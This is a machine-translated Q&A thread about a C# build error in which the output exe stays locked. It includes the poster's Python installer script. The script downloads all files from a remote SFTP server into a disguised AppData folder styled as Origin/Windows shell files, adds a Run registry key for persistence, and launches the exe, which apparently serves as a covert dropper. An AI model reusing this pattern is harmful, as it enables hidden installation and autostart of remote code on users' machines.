2017-05-31 144 views
0

我的问题非常奇怪,我对它为什么会这样做有0个想法。 所以,当我尝试运行在Visual C#中的第二次我的控制台应用程序,它说C#无法构建项目

无法复制文件“OBJ \调试\ OriginGameUpdaterService.exe”到” .. \ .. \ .. \ .. \ Desktop \ Build \ OriginGameUpdaterService.exe“。访问路径'.. \ .. \ .. \ .. \ Desktop \ Build \ OriginGameUpdaterService.exe'被拒绝。

那么我做了什么,我必须在每次运行它时更改生成设置中的生成输出路径。这不是唯一的事情。一旦exe文件夹中,我不能删除文件夹和应用程序。当我尝试我有一个Windows消息,说我需要Julien-PC/Julien权利来执行此操作(我是Julien会话的管理员)。

它真的很奇怪,因为我无法做任何事情...我做了一个Python脚本,安装在他的DLL文件的exe文件,但它不工作,由于该错误...

(这里是我的installation.py脚本)

#!/usr/bin/python 
import subprocess; 
import paramiko; 
import getpass; 
import os.path; 
import winreg; 

print("Connecting to server."); 
user = getpass.getuser() 
ssh = paramiko.SSHClient(); 
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 
ssh.load_system_host_keys(); 
ssh.connect("********", 22, "*******", "*********"); 
# ouverture des transferts de fichiers avec le ssh 
sftp = ssh.open_sftp(); 
print("Connexion successed."); 

REG_PATH = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run" 

def set_reg(name, value): 
    try: 
     winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH) 
     registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, 
             winreg.KEY_WRITE) 
     winreg.SetValueEx(registry_key, name, 0, winreg.REG_SZ, value) 
     winreg.CloseKey(registry_key) 
     return True 
    except WindowsError: 
     return False 

print("Creating directory."); 
path = "C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s" 
os.makedirs(path, exist_ok=True) 

for i in sftp.listdir("/home/dll"): 
    print("Downloading " + i); 
    sftp.get("/home/dll/" + i, "C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s/" + i); 
set_reg("OriginGameUpdaterService", "\"C:\\Users\\" + user + "\\AppData\\Local\\Origin\\Windows\\Win32X\\Shell\\s\\OriginGameUpdaterService.exe\""); 
if(os.path.exists("C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s/OriginGameUpdaterService.exe")): 
    exit(0) 

print("Creating startup *.cmd file."); 
file = open("C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s/setup.cmd","w") 
file.write("cd C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s\n") 
file.write("start OriginGameUpdaterService.exe") 
file.close() 
print("Starting exe"); 
subprocess.Popen("C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s/setup.cmd", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE); 
print("Installation complete.") 

如果有人只能帮助我,我知道这是很难理解我的问题,这是我很难解释它。 其他人一个论坛,我看到有人有类似的问题,他改变了他的AssemblyVersion 2.0。*所以这就是我所做的,它仍然是相同的问题​​

+0

您确定启动后进程是否正确终止? – jAC

+0

你可以尝试右键点击visual studio图标并以管理员身份运行吗? –

回答

0

只要确保EXE不再运行。有时你认为它已关闭,但仍在运行。打开任务管理器并查看详细信息选项卡。

+0

我开始一个新的实例之前关闭它...( –

+0

)你是否100%确定它没有运行? –